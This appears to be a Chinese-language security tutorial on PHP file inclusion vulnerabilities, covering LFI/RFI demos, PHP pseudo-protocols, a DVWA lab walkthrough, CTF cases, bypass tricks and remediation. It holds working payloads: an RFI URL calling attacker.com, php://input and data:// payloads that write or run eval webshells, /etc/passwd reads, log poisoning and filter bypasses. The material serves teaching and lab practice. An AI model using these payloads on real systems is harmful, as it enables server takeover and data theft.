目录
为什么要文件包含?
文件包含(File Inclusion)是Web开发中一种常见的功能,用于动态地将一个文件的内容插入到另一个文件中。这种功能有助于提高代码复用率、简化项目结构、实现模块化编程以及动态加载内容。例如:
-
代码复用:开发者可以将一些公共的代码段(如库函数、配置信息、模板文件等)存放在单独的文件中,通过文件包含功能在多个地方调用,避免重复编写相同代码。
-
模块化编程:大型项目通常会采用模块化设计,各个模块的代码分别存储在不同的文件中,通过文件包含来组织和整合各模块的功能。
-
动态内容加载:在Web开发中,根据用户请求或系统状态动态加载不同的页面元素或内容。例如,根据不同用户加载个性化页面、根据日期加载每日新闻、根据配置文件加载数据库连接参数等。
文件包含漏洞概述以及演示
文件包含(File Inclusion)漏洞是一种常见的Web应用程序安全漏洞,它源于开发者在编写代码时,对用户可控的输入参数未进行充分的验证和过滤,使得攻击者能够通过输入恶意的文件路径,促使服务器加载并执行该路径下的文件。
文件包含漏洞主要有两种类型:
-
本地文件包含(Local File Inclusion, LFI):攻击者能够通过注入本地文件路径,读取或执行服务器本地文件。例如,攻击者可能利用此漏洞读取服务器的配置文件,获取敏感信息,或者包含并执行恶意脚本,如Webshell,从而控制服务器。
代码演示:
<?php
$page = $_GET['page']; // 用户可通过URL传递page参数
include($page . '.php'); // 直接将用户输入拼接到文件名后,当然文件格式可以换
?>
攻击者可以通过构造特殊的URL,如 http://example.com/?page=/etc/passwd
,尝试包含服务器的 /etc/passwd
文件,获取服务器上的用户信息。
2.远程文件包含(Remote File Inclusion, RFI):在某些情况下,如果应用程序允许包含远程服务器上的文件,攻击者就能通过注入远程URL,诱导服务器加载并执行远程服务器上的恶意文件。RFI漏洞危害极大,因为它使得攻击者可以直接将恶意代码传送到服务器并执行。
代码演示:
<?php
$file = $_GET['file']; // 用户可通过URL传递file参数
include($file); // 直接将用户输入的URL作为文件路径
?>
攻击者可以构造URL http://example.com/?file=http://attacker.com/malicious_code.php
,尝试使服务器包含并执行远程服务器上 (attacker.com
) 的恶意代码文件 malicious_code.php
。
文件包含漏洞挖掘和利用
通常出现在应用程序尝试引入外部文件时,如PHP的include()
、require()
、include_once()
、require_once()
等函数。
挖掘文件包含漏洞的步骤:
-
识别文件包含功能:首先需要在目标Web应用中寻找可能使用文件包含功能的地方,比如用户可控的文件下载、模板引入、动态配置文件加载等场景。
-
测试文件包含:尝试构造不同的文件路径进行测试,看是否能成功包含本地或远程文件。例如,在URL参数中插入相对路径或绝对路径,甚至尝试远程文件协议如
http://
或php://input
。- 相对路径包含:尝试
/etc/passwd
等系统文件,如果返回了文件内容,说明可能存在文件包含漏洞。 - 远程文件包含:尝试
http://example.com/malicious.php
,如果能够从远程服务器获取并执行文件内容,则存在远程文件包含漏洞。
- 相对路径包含:尝试
-
验证漏洞可利用性:如果发现可以包含任意文件,进一步测试是否可以包含一个包含恶意PHP代码的文件,或者包含一个可以触发命令执行的文件(如日志文件),进而尝试执行系统命令或获取敏感信息。
文件包含漏洞利用方式:
-
本地文件包含(LFI, Local File Inclusion):通过包含本地系统文件(如/etc/passwd)获取敏感信息;或者利用某些特定环境下的文件包含特性,逐步提升权限,最终执行恶意代码。
-
远程文件包含(RFI, Remote File Inclusion):通过包含远程服务器上的恶意PHP脚本,实现远程代码执行。但现代主流的PHP环境中默认已禁用远程文件包含功能。
-
伪协议包含:利用PHP的一些伪协议,如
php://filter/read=convert.base64-encode/resource=index.php
,可以用来读取和编码任意文件的内容。
文件包含漏洞修复方案
-
数据输入验证:
- 对用户提交的文件路径参数进行严格的格式检查和白名单策略,只允许包含预定义的、安全的文件路径。
- 禁止包含绝对路径,转而使用相对路径,并且确保相对路径不会超出预期的目录范围。
- 验证文件扩展名,只允许包含指定类型的文件,如仅允许
.php
、.html
等安全的文件类型。
-
禁用危险函数或配置:
- 如果不是必须,尽量避免使用容易导致文件包含漏洞的函数,如PHP中的
allow_url_include
配置项应设为Off
以禁用远程文件包含。 - 在php.ini配置文件中,可以设置
open_basedir
限制PHP脚本只能访问指定目录及其子目录下的文件。
- 如果不是必须,尽量避免使用容易导致文件包含漏洞的函数,如PHP中的
-
使用安全函数:
- 使用更安全的函数替代易出问题的文件包含函数,例如在PHP中,可以使用
readfile()
配合自定义的文件路径处理逻辑来代替include()
。
- 使用更安全的函数替代易出问题的文件包含函数,例如在PHP中,可以使用
-
编码规范与安全开发:
- 在编写代码时,遵循安全编程的最佳实践,如防御式编程,始终假设所有用户输入都是不可信的。
- 使用自动化的代码审查工具或安全扫描工具定期检测潜在的文件包含漏洞。
-
错误处理与日志记录:
- 正确处理文件包含失败的情况,不要暴露过多的错误信息,以免给攻击者提供有用的信息。
- 记录详细的日志,以便在发生异常时追溯分析问题。
-
更新补丁与维护:
- 及时关注所使用的框架、库和语言版本的安全更新,及时打上补丁,因为很多漏洞会在新版本中得到修复。
总之,修复文件包含漏洞的核心在于确保程序对用户输入的严格控制以及对文件操作的安全约束。同时,结合合理的系统权限分配和安全设计,才能有效防止此类漏洞被利用。
文件包含相关php函数及其php伪协议
1.函数
在PHP中,一些用于包含外部文件的函数可能会引发文件包含漏洞,主要包括:
include()
require()
include_once()
require_once()
这些函数会将指定文件的内容当作PHP代码执行。如果这些函数接收的文件路径参数可控,就有可能被攻击者利用包含恶意文件,从而执行任意代码。
2.伪协议
<?php
$file=$_GET['file'];
include($file);
?>
以下伪协议以以上代码(文件包含代码),为实例基础
-
php://filter
- 解释:这个伪协议提供了对数据流进行过滤的能力,可以对输入数据进行编码、解码、加密、解密等各种操作。
- 利用实例:攻击者可以利用此协议绕过文件包含的安全限制,读取服务器上的任意文件。例如,通过包含
php://filter/read=convert.base64-encode/resource=/etc/passwd
,可以读取/etc/passwd
文件并将内容以Base64编码的形式输出。 -
php://filter/read=convert.base64-encode/resource= php://filter 是 PHP 提供的一种伪协议,它允许通过流(stream)方式操作数据。 read 表示要进行的操作是读取数据。 convert.base64-encode 是一个内置的过滤器,它会对通过流读取的数据进行 Base64 编码。 resource= 后面跟的是要读取的文件资源路径。
- php://input
- 利用实例:在文件包含漏洞的情况下,如果某个函数或方法以不受限的方式处理
php://input
,攻击者可能通过POST请求提交恶意PHP代码,并利用文件包含漏洞执行该代码。例如,攻击者可能构建一个包含<?php system($_GET['cmd']); ?>
的POST请求,并通过文件包含漏洞执行任意命令。 - 解释:此伪协议允许读取来自请求体(POST数据)的原始输入数据。
-
url中写入?file=php://input 然后hackbar post传入内容 比如:<?php @eval($_POST['a']); ?>
- 利用实例:在文件包含漏洞的情况下,如果某个函数或方法以不受限的方式处理
-
data://
- 解释:data URI scheme允许将小量数据嵌入到文档中,而不是引用外部资源。在PHP中,可以用
data://
伪协议创建基于内存的数据流。 - 利用实例:虽然在文件包含漏洞中直接利用
data://
伪协议的情况较为少见,但在某些情况下,攻击者可能构造一个嵌入恶意代码的data URI,并尝试包含它。但这通常取决于应用程序的具体处理逻辑。 -
?file=data://text/plain,<?php $myfile = fopen("shell.php", "w"); fwrite($myfile, <?php @eval($_POST['a']); ?>); fclose($myfile); ?> /* ?file=data://text/plain 这部分表示请求的参数file值为一个data:协议的URI,内容类型为text/plain,即纯文本,把之后的文本写入file参数中 <?php $myfile = fopen("shell.php", "w"); 这段PHP代码会在服务器上尝试打开或创建名为shell.php的新文件,并以写入模式("w")打开。 fwrite($myfile, '<?php @eval($_POST['a']); ?>'); 接着,尝试向shell.php文件写入一段PHP代码,这段代码的功能是在执行时接收并执行$_POST['a']变量中的内 容,@eval函数会执行字符串表达式的PHP代码,这是一种典型的PHP webshell代码,攻击者可通过POST请求将 任意PHP代码发送到服务端执行。 最后便是关闭文件 蚁剑访问为原网页url/shell.php */
- 解释:data URI scheme允许将小量数据嵌入到文档中,而不是引用外部资源。在PHP中,可以用
-
file://
- 解释:本地文件协议,用于访问本地文件系统,后面必须跟硬盘下的绝对路径。
- 利用实例:在文件包含漏洞中,攻击者可以尝试包含本地系统的敏感文件,例如,通过包含
file:///etc/passwd
来获取系统用户信息。 -
url/?file=file:///etc/passwd
5.phar://
1.解释:PHP中用于处理PHP归档(PHP Archive,简称Phar)的一种内部协议。
2.利用:能够直接运行、读取、写入或包含Phar归档内的文件,无需解压缩整个归档。
3.前备:编辑一个1.php文件,写入一句话木马,解压为zip,此处为1.zip,然后上传到目标站。
4.
url/?file=phar://1.zip/1.php
文件包含dvwa靶场演示
low
含代码审计,但是最好还是自己先做一遍!!!
因为low没有任何防御,看到URL
点进file1.php,发现url的变化
就印证了,此处的文件包含漏洞
直接试个文件,成功读取,文件的地址可以是http://+ip/+'目录'+'文件名' 来远程访问文件,我用的是phpstudy本地搭建的靶场上传路径,偷个懒
代码审计,查看原理:
以low.php为例
可知此处file是一个全局变量,范围为:同一目录的文件,但是此处并没有文件包含函数
然后查看了index.php,才发现原来文件包含的函数在这,一下子就明白了代码原理。
medium
代码审计,发现有有些字符被替换为空,以下分别对应绝对路径和相对路径
双写绕过即可:
对我而言,此处为payload:?/page=hthttp://tp://DVWA/hackable/uploads/1.php
high
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,同时file://伪协议后必须跟绝对路径,所以此处我们就无法进行远程包含了,payload:如下
?page=file://E:\Downloads\phpstudy_pro\WWW\DVWA\hackable\uploads\1.php
即可成功访问!
CTF案例
[SWPUCTF 2021 新生赛]include
那就先看一看源码
提示flag在flag.php中,/?file=flag.php 发现失败了
于是便使用php伪协议
工具:
解码即可!
[HNCTF 2022 Week1]Interesting_include
直接伪协议即可绕过
解码即可!
中间日志包含绕过
原因:某php文件存在本地文件包含漏洞,但无法上传文件,利用包含漏洞包含Apache(看服务器是Apache还是nginx)日志文件也可以获取WebShell
前提:需要开启服务器记录日志功能
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
当访问一个不存在的资源时,服务器日志同样会记录 例如访问http://127.0.0.1/<?php phpinfo();?>。Apache会记录请求“<?php phpinfo();?>”,并写到access.log文件中,这时候去包含access.log就可以利用包含漏洞。
PHP包含读写文件
文件读写基本思路
1.fopen打开文件
fopen(文件路径[string],打开模式[string])
文件路径:1.绝对路径 2.相对路径
绝对路径:例如:E:\Downloads\phpstudy_pro\Extensions\Apache2.4.39
windows下的分隔符为\,但是在fopen打开文件的文件路径中使用\作为分隔符,会报错如下
$fp
=
fopen
(
"C:\wamp64\www\text.txt"
,
'w'
); (X)
所以当我们进行打开文件文件时,我推荐使用 / 作为分隔符。
所以 $fp
=
fopen
(
"C:/wamp64/www/text.txt"
,
'w'
); (√)
如果硬要\作为分隔符,则使用转义符(\), $fp
=
fopen
(
"C:\\wamp64\\www\\text.txt"
,
'w'
); (√)
mac等系统下,也是使用的分隔符也是 /
所以这里推荐 / 作为分隔符
2.文件读取和写入
2.1 细说上述fopen的参数,打开路径
“r”:只能读取文件,不能写入文件(写入操作被忽略)
“w”:只能写入文件,不能读取文件(读取操作被忽略)
“a”:只追加文件,与“w”类似,区别是“w”删除原有的内容,“a”不删除原有内容,只追加内容
以下参数是替代'r'。
r是只读,w是只写(原来有的内容全删除),a是追加(不删除原有内容),这都好理解。
但r+,w+,和a+的区别和联系讲的实在太模糊了呀。 这里我就想详细地讲一下r+,w+,和a+三者的区别和联系:
首先r+,w+,和a+都是可读可写的,读取时的方式是一样的,关键在于写入方式的不同:
r+: 从文件的内容最前面添加内容 ([不删除]原有内容);
a+:从文件的内容最后面写入内容 ([不删除]原有内容);
w+:[完全删除]原有内容,然后[再添加]新的内容
【注意】:a+、w+在文件不存在时创建文件,r+在文件不存在时报错。
2.2 文件读取写入的相关函数
file_exists():判断文件是否存在,返回ture/false
filesixe():判断文件大小(字节数),返回整形
unlink():删除文件
文件写入
fwrite()
fwrite('1.php','123456') ---把123456写入1.php
文件读取
1.一次读取一个字节的数据 fgetc()
2.一次读取指定的字节数的数据 fread()
3.一次读取一行数据 fgets()/fgetcsv()
4.一次读完全部数据 fpassthru()/ file()
1. 一次读取一个字节 —— 通过fgetc()获取单个字节
文件关闭
fclose('1.php');
文件包含相关绕过
1.双写绕过
字符内双写,当某个字符被替换为空时
2.%00截断
代码:include($_GET['page'].".php");
目的:包含1.png文件
限制了文件名,可以抓包后修改URL /?page=1.png%00 即可绕过
当然如果是post包含文件,就抓包把文件后的hex改为空(文件上传中有)
3.路径长度截断
Windows
下目录最大长度
为256字节
,超出的部分会被丢弃; Linux
下目录最大长度
为4096字节
,超出的部分会被丢弃。
当在包含文件名后面写的足够多,最后的例如上述的'.php'内容就会被丢弃
index.php?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
除了使用 ./ 的方式还可以使用全是点号的方式
index.php?page=1.png.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
4.大小写混合绕过
使用1.PnG绕过
5.伪协议绕过通过一些伪协议进行绕过
参考:【文件包含漏洞】——文件包含漏洞进阶_PHP伪协议_windows下zip伪协议的条件对php版本有什么要求-CSDN博客
6.特殊字符绕过
在文件名后加?以及加# 例如远程包含1.txt
后面添加一个?和%23(#) 1.txt? 1.txt%23,靶机成功解析远端服务器的1.txt
为php脚本
文件
同时还可以尝试使用以下特殊字符绕过
7.fnmatch函数绕过
fnmatch函数介绍:
fnmatch()
函数是PHP的一个内置函数,它主要用于根据指定的模式(pattern)来匹配文件名或字符串。这个函数常用于文件名的过滤,比如在遍历目录结构时,根据给定的模式筛选出符合条件的文件名。
此处以dvwa靶场file inclusion high为例
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
此处意为,$file参数值必须是以file开头,即包含文件必须以file字符串作为开头。
此处就是利用file://协议绕过的
留言
结束,祝大家学习顺利!!!